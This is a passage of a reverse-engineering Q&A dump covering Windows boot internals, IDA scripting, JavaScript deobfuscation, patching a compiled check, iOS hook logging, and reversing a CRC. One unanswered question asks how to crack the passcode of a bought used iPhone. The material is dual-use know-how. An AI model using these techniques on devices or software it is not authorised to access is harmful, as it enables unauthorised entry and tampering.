  <row Id="6322" PostTypeId="1" CreationDate="2014-09-26T19:50:35.323" Score="0" ViewCount="1006" Body="&lt;p&gt;I bought a used iPhone from someone, but I accidentally got a lock screen on the phone and can't figure out what the passcode is. Long story short, how does iOS hash the passcodes for entry, what kind of salt/etc. does it use, where would it store it, and is it possible to mount the internal drive (I'm guessing SSD?) where it stores the passcode? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone familiar with iOS reverse engineering? Coding/development? Can one mount the whole filesystem and copy the files/decrypt/reverse engineer/view them/hex edit them/etc. (the files of the hashed/encrypted passcode)? I am all up for this 100%; just need some people more familiar with iOS to set me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why other alternatives aren't good enough:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can't factory restore; all &lt;strong&gt;&lt;em&gt;very important&lt;/em&gt;&lt;/strong&gt; data will be lost that was not backed up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's no way to bypass the lock-screen on this iOS version. Only way would be to determine where it stores the hashed/cryptographic passcode on the disk and figure out what it is to re-gain entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To be blunt, I'm striving to password crack my own device. On Android this is easy, but I have heard of absolutely no one getting this done with iDevices/iOS.&lt;/p&gt;&#xA;" OwnerUserId="8623" LastEditorUserId="53" LastEditDate="2014-09-27T16:58:01.953" LastActivityDate="2014-09-27T16:58:01.953" Title="How does iOS hash and salt passwords on its secondary-storage?" Tags="|decryption|encryption|cryptography|ios|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6323" PostTypeId="1" CreationDate="2014-09-26T20:03:46.217" Score="2" ViewCount="818" Body="&lt;p&gt;Here is my question: How can the Windows 7, 8, etc. boot process work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first piece of code loaded from the volume boot sector of the OS is bootmgr.exe. But here's why this doesn't make sense:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &quot;exe&quot; is a portable executable file, which is composed of metadata that the OS (Windows) parses. There's no way the boot manager can be a PE file when mostly the entire OS needs to be loaded to parse PEs, namely the loader, memory management services, system threads for VM, device drivers, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can the first program be a PE? My assumption is that it can't, or else it wouldn't make sense (the CPU does not &quot;parse&quot; PEs unless Windows' loader software tells it to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, on the lowest-level, the Windows boot process is false/misdealing info?&lt;/p&gt;&#xA;" OwnerUserId="8623" LastActivityDate="2014-09-26T21:06:03.497" Title="Windows boot process doesn't make sense!" Tags="|assembly|hardware|binary|binary-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6324" PostTypeId="2" ParentId="6323" CreationDate="2014-09-26T21:06:03.497" Score="7" Body="&lt;p&gt;(I'll assume you're talking about the boot process using legacy BIOS as UEFI situation is different)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boot manager is not a PE, or, rather, not &lt;em&gt;just&lt;/em&gt; a PE. It starts with 16-bit realmode part. You can check it yourself by looking at the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000: E9 D5 01 EB 04 90 00 00 │ 00 52 8B C3 0E 07 66 33&#xA;0000000010: DB BA 01 00 E8 34 00 E9 │ 51 01 2E 88 16 06 00 50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it does not start with the &lt;code&gt;MZ&lt;/code&gt; signature but directly with machine code. So the boot sector just needs to load the file into memory and jump to it - the rest bootmgr will do itself. The 16-bit part loads and uncompresses the PE part, switches to protected mode, and passes execution to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compressed PE data can be found after the signature &lt;code&gt;BMCI&lt;/code&gt; or &lt;code&gt;BMXH&lt;/code&gt;. It seems someone made a tool to find and decompress it automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coderforlife/bmzip&quot;&gt;https://github.com/coderforlife/bmzip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The uncompressed PE does not need the full OS because it's not using any OS services. It implements all necessary functionality itself - it is, in fact, a mini-OS on its own. It does not need &lt;em&gt;that&lt;/em&gt; much - e.g. it doesn't need multi-threading, paged memory, or context switching. It needs only enough functionality to find and load the next stage (winload.exe).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-26T21:06:03.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6325" PostTypeId="2" ParentId="6318" CreationDate="2014-09-26T21:44:35.290" Score="5" Body="&lt;p&gt;Here is a POC from some code I wrote a while back. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def fixTheJmpCalls():&#xA;    # kind of slow to loop through all the functions and instructions but it works &#xA;    # flaw: only defined functions will be traversed.this. &#xA;    for funcea in Functions( SegStart( here() ), SegEnd( here() ) ):&#xA;        for eai in FuncItems(funcea):&#xA;            if GetMnem(eai) == &quot;jmp&quot; or GetMnem(eai) == &quot;call&quot;:&#xA;                if GetDisasm(eai)[-2:-1] == &quot;+&quot; and GetDisasm(eai)[-1:].isdigit():&#xA;                    print &quot;Broken Instruction: %X&quot;%eai, GetDisasm(eai)&#xA;                    code_addr = GetOperandValue(eai, 0) &#xA;                    fix_addr = code_addr -1 &#xA;                    MakeUnkn(fix_addr,1)&#xA;                    MakeCode(code_addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2014-09-26T21:44:35.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6326" PostTypeId="2" ParentId="6320" CreationDate="2014-09-27T01:03:03.240" Score="7" Body="&lt;p&gt;The problem is that there is no notion of inner classes at the bytecode level. Each inner class is compiled to a separate class with no special privileges compared to any other class in the same package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to support the functionality of inner classes, the compiler has to add getter methods behind the scenes. Every time you access a field in the outer class from the inner class, the compiler needs to generate a getter in the outer class. However, these getters cannot be private because then nothing could call them! Therefore, the getter is always at least protected, meaning any class in the same package can access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;a href=&quot;https://openjdk.java.net/jeps/181&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java 11 added a new bytecode feature to address this issue&lt;/a&gt;, so this does not apply to recent versions of Java.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2020-02-29T17:10:10.410" LastActivityDate="2020-02-29T17:10:10.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6327" PostTypeId="1" AcceptedAnswerId="6328" CreationDate="2014-09-27T15:21:02.240" Score="-3" ViewCount="303" Body="&lt;p&gt;Can someone deobfuscate this code? I am not getting any way to deobfuscate  this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to paste it over here as it over passed 30,000 word limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/V327Q8Hg&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/V327Q8Hg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8629" LastActivityDate="2014-09-27T16:01:39.640" Title="Trying to deobfuscate multi layered javascript" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-27T21:55:13.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="6328" PostTypeId="2" ParentId="6327" CreationDate="2014-09-27T16:01:39.640" Score="0" Body="&lt;p&gt;Mostly cleaned up, you can rename vars if you will.&#xA;&lt;a href=&quot;http://pastebin.com/uySNcxuX&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2014-09-27T16:01:39.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6329" PostTypeId="1" AcceptedAnswerId="6330" CreationDate="2014-09-27T16:27:25.803" Score="0" ViewCount="450" Body="&lt;p&gt;How can I measure the number of instructions a Windows (or Linux or XNU) kernel driver/module executed after, say, an IOCTL or a SYSCALL? My only ideas are the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using WinDBG or remote GDB, debug the whole operating system, put breakpoints in each basic block/function/instruction of the driver or step-trace inside it. Very slow and likely going to cause problems due to the large number of breakpoints to be added.&lt;/li&gt;&#xA;&lt;li&gt;From user-land, use instructions like RDTSC to try to &quot;measure&quot; the number of (non different) instructions executed by checking the times it took to execute it. Likely going to give &quot;false&quot; results for many reasons (i.e., the very same call to a syscall or ioctl can take different times for many different reasons).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea or option in any of the mentioned kernels to determine the number of instructions and, preferably, the number of &lt;em&gt;different&lt;/em&gt; instructions executed?&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-10-04T11:25:39.503" Title="Determining the number of instructions executed by a driver" Tags="|kernel-mode|instrumentation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6330" PostTypeId="2" ParentId="6329" CreationDate="2014-09-27T16:55:24.523" Score="4" Body="&lt;p&gt;I'd recommend using &lt;a href=&quot;http://bochs.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Bochs&lt;/a&gt;. It'll allow you to write code to count the number of instructions (and/or number of different instructions) executed between a &lt;code&gt;SYSCALL&lt;/code&gt;/&lt;code&gt;SYSRET&lt;/code&gt;, &lt;code&gt;SYSENTER&lt;/code&gt;/&lt;code&gt;SYSEXIT&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-27T16:55:24.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6331" PostTypeId="1" CreationDate="2014-09-27T21:13:17.223" Score="0" ViewCount="1300" Body="&lt;p&gt;I'm training reverse engineering and I'm creating some codes in C++ in other to reverse and see what I can do to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've compiled this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;enum Types&#xA;{&#xA;    One,&#xA;    Two&#xA;} type;&#xA;&#xA;void helloWorld()&#xA;{&#xA;    if (not type == Two)&#xA;      std::cout &amp;lt;&amp;lt; &quot;Sorry, you coundl't do that.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    else&#xA;      std::cout &amp;lt;&amp;lt; &quot;Yeah, you rocks!&quot; &amp;lt;&amp;lt; std::endl;&#xA;}&#xA;&#xA;int main(int argc, char ** argv)&#xA;{&#xA;    type = One;&#xA;    helloWorld();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's a really simple code, just for learning. What I want to know is: How can I change the &quot;type&quot; of the &lt;code&gt;enum&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Windows 64bit, the only debuggers I have here is WinDbg and Visual DuxDebugger and IDA as disassembler.&lt;/p&gt;&#xA;" OwnerUserId="8631" LastEditorUserId="53" LastEditDate="2014-09-28T08:42:12.583" LastActivityDate="2014-09-28T08:42:12.583" Title="Debugging and changing an enum value" Tags="|ida|windbg|" AnswerCount="1" CommentCount="1" ClosedDate="2014-09-28T13:09:44.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="6332" PostTypeId="2" ParentId="6151" CreationDate="2014-09-28T01:53:44.357" Score="1" Body="&lt;pre&gt;&lt;code&gt;#include &quot;substrate.h&quot;&#xA;#include &amp;lt;dlfcn.h&amp;gt;&#xA;&#xA;void resolveSymbol(const void *addr) {&#xA;    Dl_info info;&#xA;    if (dladdr(addr, &amp;amp;info)) {&#xA;        NSLog(@&quot;&amp;lt;hooksubstrate&amp;gt; Resolved symbol at address %p: dli_fname %s, dli_fbase %p, dli_sname %s, dli_saddr %p&quot;, addr, info.dli_fname, info.dli_fbase, info.dli_sname, info.dli_saddr);&#xA;    }&#xA;    else {&#xA;        NSLog(@&quot;&amp;lt;hooksubstrate&amp;gt; Can't resolve symbol at address %p&quot;, addr);&#xA;    }&#xA;}&#xA;&#xA;void (*oldMSHookFunction)(void *, void *, void **);&#xA;&#xA;void newMSHookFunction(void *symbol, void *hook, void **old) {&#xA;    NSLog(@&quot;&amp;lt;hooksubstrate&amp;gt; MSHookFunction: symbol %p, new %p, old %p&quot;, symbol, hook, old);&#xA;    resolveSymbol(symbol);&#xA;    resolveSymbol(hook);&#xA;    resolveSymbol(old);&#xA;    oldMSHookFunction(symbol, hook, old);&#xA;}&#xA;&#xA;void (*oldMSHookMessageEx)(Class, SEL, IMP, IMP *);&#xA;&#xA;void newMSHookMessageEx(Class c/*lass*/, SEL s/*elector*/, IMP replacement, IMP *result) {&#xA;    NSLog(@&quot;&amp;lt;hooksubstrate&amp;gt; MSHookMessageEx: class %@, selector %@, new %p, old %p&quot;, NSStringFromClass(c/*lass*/), NSStringFromSelector(s/*elector*/), replacement, result);&#xA;    resolveSymbol((const void *) *replacement);&#xA;    resolveSymbol((const void *) result);&#xA;    oldMSHookMessageEx(c/*lass*/, s/*elector*/, replacement, result);&#xA;}&#xA;&#xA;__attribute__((constructor))&#xA;static void initialize() {&#xA;    MSHookFunction(MSHookMessageEx, &amp;amp;newMSHookMessageEx, &amp;amp;oldMSHookMessageEx);&#xA;    MSHookFunction(MSHookFunction, &amp;amp;newMSHookFunction, &amp;amp;oldMSHookFunction);&#xA;    NSLog(@&quot;&amp;lt;hooksubstrate&amp;gt; Hooked into MSHookFunction &amp;amp; MSHookMessageEx&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With sample output (for an old version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; cat /dev/null &amp;gt; /var/log/syslog&#xA;&amp;gt; cat /var/log/syslog | grep &quot;Loading&quot;&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/HookSubstrate.dylib&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/xxCOCPlugin.dylib&#xA;&amp;gt; cat /var/log/syslog | grep &quot;&amp;lt;cc&amp;gt;&quot;&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; Hooked into MSHookFunction &amp;amp; MSHookMessageEx&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; MSHookFunction: old 0x845fd, new 0x3af4fd&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; Resolved symbol at address 0x845fd: dli_fname /var/mobile/Applications/1A631C27-CE93-4845-B7FB-0637D600E10C/Clash of Clans.app/Clash of Clans, dli_fbase 0x4000, dli_sname (null), dli_saddr 0x0&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; Resolved symbol at address 0x3af4fd: dli_fname /Library/MobileSubstrate/DynamicLibraries/xxCOCPlugin.dylib, dli_fbase 0x3a7000, dli_sname _Z20func_hook_new_searchi, dli_saddr 0x3af4fd&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; MSHookMessageEx: class AppController, selector application:didFinishLaunchingWithOptions:, new 0x3afdb5&#xA;Sep 12 17:06:54 iPad Clash of Clans[2372]: &amp;lt;cc&amp;gt; Resolved symbol at address 0x3afdb5: dli_fname /Library/MobileSubstrate/DynamicLibraries/xxCOCPlugin.dylib, dli_fbase 0x3a7000, dli_sname _Z60hook_AppController_application_didFinishLaunchingWithOptionsP11objc_objectP13objc_selectorS0_S0_, dli_saddr 0x3afdb5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8429" LastEditorUserId="8429" LastEditDate="2014-09-28T01:59:44.117" LastActivityDate="2014-09-28T01:59:44.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6333" PostTypeId="2" ParentId="6331" CreationDate="2014-09-28T08:02:48.073" Score="2" Body="&lt;p&gt;As far as I remember all enum operations are encoded as operations with integers.&#xA;So, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if not type == two&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;will be encoded as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  008c0:    8b 05 ae 08 20 00       mov    0x2008ae(%rip),%eax        # 601174 &amp;lt;type&amp;gt;&#xA;  4008c6:   85 c0                   test   %eax,%eax&#xA;  4008c8:   75 07                   jne    4008d1 &amp;lt;_Z10helloWorldv+0x15&amp;gt;&#xA;  4008ca:   b8 01 00 00 00          mov    $0x1,%eax&#xA;  4008cf:   eb 05                   jmp    4008d6 &amp;lt;_Z10helloWorldv+0x1a&amp;gt;&#xA;  4008d1:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  4008d6:   84 c0                   test   %al,%al&#xA;  4008d8:   74 1e                   je     4008f8 &amp;lt;_Z10helloWorldv+0x3c&amp;gt;&#xA;  4008da:   be 34 0a 40 00          mov    $0x400a34,%esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(g++, Linux, x64)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this check you'll need to perform one of the following alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Patch the jump instruction which corresponds to this specific check&lt;/li&gt;&#xA;&lt;li&gt;Patch the comparison &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no possibility to change enum values in the whole program because the information about this specific enum type is lost during compilation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way your &quot;one&quot; enum value will be encoded as 0, and &quot;two&quot; as 1.&#xA;If you want to have enum values corresponding to the words, you'll have to define the enum as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum Types&#xA;{&#xA;    One = 1,&#xA;    Two = 2&#xA;} type;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-09-28T08:02:48.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6334" PostTypeId="1" AcceptedAnswerId="6336" CreationDate="2014-09-28T20:19:37.577" Score="2" ViewCount="4749" Body="&lt;p&gt;I am having a obfuscated JS file and I want to deobfuscate it (and &lt;em&gt;not beautify it&lt;/em&gt;). I have seen answer to a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript&quot;&gt;similar question here&lt;/a&gt; and I tried de-obfuscating a the file using online version of JSUnpack and JSDetox. However, I am still not able to deobfuscate it. The JS file is not a malware but it is used to inject ads into web-page. So, any analyser analysing the file won't find anything malicious. The problem is that the JS stores (hex) strings in string array and using it to concatenate the code. JSDetox atleast decodes the string array in the beginning of the file. However, the readability is not improved anyway as the whole code makes use of the string array. If anyone wants to take a look at the file they can find it &lt;a href=&quot;http://pastebin.com/vYSVe4KX&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any kind of help would be appreciated! Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I have also tried Malzilla now because I found a similar technique &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2103/try-to-deobfuscate-multi-layered-javascript?rq=1&quot;&gt;here&lt;/a&gt;. However, the script probably has some errors which is tolerated by Chrome. However, when I click &quot;Run Script&quot; in Malzilla, I get a message saying &quot;Script cannot be compiled&quot;. I tried to debug script using the &quot;Debug Script&quot; button, the window highlights some line saying &quot;InterYeildOptions is not defined&quot; and I don't know what to do about it. :-/&lt;/p&gt;&#xA;" OwnerUserId="5865" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-09-29T08:37:51.420" Title="Deobfuscating a javascript file" Tags="|deobfuscation|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6335" PostTypeId="2" ParentId="6334" CreationDate="2014-09-29T08:01:00.987" Score="1" Body="&lt;p&gt;I'd do it as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see the main array with strings is static. &#xA;It is not changed. This means that you can replace all appearances of this array members with their contents (in &quot;&quot;) after decoding all of it from hex form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd do it with python script, you can do it by the tool of your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the python script (js.js is a copy of your script):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    initial_array = [... here should be the copy of initial array _0x4b6a ...]&#xA;    def stringify(s):&#xA;        return &quot;\&quot;&quot;+s.replace(&quot;\&quot;&quot;, &quot;\\\&quot;&quot;)+&quot;\&quot;&quot;&#xA;&#xA;    f = open(&quot;js.js&quot;, &quot;r&quot;)&#xA;    data = f.read()&#xA;&#xA;    for idx in range(len(initial_array)):&#xA;        member = &quot;_0x4b6a[%d]&quot; % idx&#xA;        data = data.replace(member, stringify(initial_array[idx]))&#xA;&#xA;    print data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result is placed here: &lt;a href=&quot;http://pastebin.com/SYKszfYL&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the result is not syntactically correct. &#xA;To make it better you should work on stringify function in the script&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-09-29T08:01:00.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6336" PostTypeId="2" ParentId="6334" CreationDate="2014-09-29T08:37:51.420" Score="3" Body="&lt;p&gt;Well, so, you can use &lt;a href=&quot;http://jsbeautifier.org/&quot; rel=&quot;nofollow&quot;&gt;http://jsbeautifier.org/&lt;/a&gt; with unescape printable chars to get the top var decoded, then, if you look closely, you should see  that the values of the var are used everywhere with an index, so you can just write a quick script to replace it with the actual value. End result is &lt;a href=&quot;http://pastebin.com/iJqs6Jq3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python to replace the var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Replace.py //probably not optimized, so dont be too harsh on me&#xA;_0x4b6a=[copy-pasteValueDecodedFromScript]&#xA;with open('EncodedScript.js') as fp:&#xA;    for line in fp:&#xA;        for i in range(0,608):&#xA;            line = line.replace(&quot;_0x4b6a[&quot;+str(i)+&quot;]&quot;, _0x4b6a[i])      &#xA;        print line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2014-09-29T08:37:51.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6337" PostTypeId="1" CreationDate="2014-09-29T10:53:37.207" Score="3" ViewCount="981" Body="&lt;p&gt;I am slightly confused by some x86_64 linux code here (generated by llvm):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BB#0:                                 # %entry&#xA;    push    RBP&#xA;.Ltmp21:&#xA;    .cfi_def_cfa_offset 16&#xA;.Ltmp22:&#xA;    .cfi_offset rbp, -16&#xA;    mov RBP, RSP&#xA;.Ltmp23:&#xA;    .cfi_def_cfa_register rbp&#xA;    push    RBX&#xA;    push    RAX&#xA;.Ltmp24:&#xA;    .cfi_offset rbx, -24&#xA;    mov EDI, .L.urandom&#xA;    mov ESI, 8&#xA;    call    open&#xA;    mov EBX, EAX&#xA;    mov EDI, EBX&#xA;    mov ESI, ptrenc.keys&#xA;    mov EDX, 16&#xA;    call    read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I read in wikipedia, I would have expected the arguments to open and read to be passed in R-Registers (RDI, RSI, RDX). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code uses the 64-bit Registers to build the stack frame. Why does it use the 32-bit registers for the calls? &lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="123" LastEditDate="2014-09-30T08:39:52.717" LastActivityDate="2014-09-30T12:36:04.437" Title="x86_64 Calling convention" Tags="|disassembly|x86-64|calling-conventions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6338" PostTypeId="1" AcceptedAnswerId="6373" CreationDate="2014-09-29T11:40:55.903" Score="1" ViewCount="91" Body="&lt;p&gt;Hopper allows you to change the representation of numbers in the disassembly window so that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000be84         str        r3, [r11, #0xfffffff0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000be84         str        r3, [r11, #-0x10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't carry over into the decompiled code though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3 = *(r11 + 0xffffffffffffffd8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst it's not a major thing, it would be nice for the representation to be carried across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2014-10-04T11:21:06.800" Title="Signed/unsigned representation of ints in decompiled code in Hopper" Tags="|decompilation|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6340" PostTypeId="2" ParentId="6337" CreationDate="2014-09-29T11:56:22.047" Score="-2" Body="&lt;p&gt;You'll find an answer in &lt;a href=&quot;http://llvm.org/releases/3.5.0/docs/ReleaseNotes.html#abi-and-abi-extensions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. If you want more details, well, &lt;a href=&quot;http://llvm.org/docs/LangRef.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you'll find everything you need. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-09-29T11:56:22.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6342" PostTypeId="1" AcceptedAnswerId="6349" CreationDate="2014-09-29T12:35:24.643" Score="2" ViewCount="139" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;(i've also posted this question on stackoverflow before i found out there was a specific stackexchange site for reverse engineering. My bad. Original post here: &lt;a href=&quot;https://stackoverflow.com/questions/26095009/need-help-reverse-engineering-a-crc16&quot;&gt;https://stackoverflow.com/questions/26095009/need-help-reverse-engineering-a-crc16&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to connect to the Safecom TA-810 (badge/registration system) to automate the process of calculating how long employee's have worked each day. Currently this is done by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pulling the data into the official application&lt;/li&gt;&#xA;&lt;li&gt;Printing a list of all 'registrations'&lt;/li&gt;&#xA;&lt;li&gt;Manually entering the values from the printed lists into our HR application&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is a job that can take multiple hours which we'd like to see automated. So far the official tech support has been disappointing and refused to share any details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using wireshark I have been capturing the UDP transmissions and have pretty much succeeded in understanding how the protocol is built up. I'm only having issues with what i suppose is a CRC field. I don't know how it is calculated (CRC type and parameters) and using which fields ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how a message header looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D0 07 71 BC BE 3B 00 00&#xA;&#xA;D0 07 - Message type&#xA;71 BC - This i believe is the CRC&#xA;BE 3B - Some kind of session identifier. Stays the same for every message after the initial message (initial message has '00 00' as value)&#xA;00 00 - Message number. '01 00', '02 00', '03 00'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header only examples&#xA;E8 03 17 FC 00 00 00 00 -&amp;gt; initial request (#0, no session nr)&#xA;D0 07 71 BC BE 3B 00 00 -&amp;gt; Initial response (#0, device sends a session nr)&#xA;4C 04 EF BF BE 3B 06 00 -&amp;gt; Message #6, still using the same session # as the initial response&#xA;&#xA;Larger example, which has data&#xA;0B 00 07 E1 BE 3B 01 00 7E 45 78 74 65 6E 64 46 6D 74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also been trying to figure this out by reading the disassembled code from the original application. The screenshot below happens before the socket.sendto and seems to be related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q8cqg.png&quot; alt=&quot;original application code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be extremely 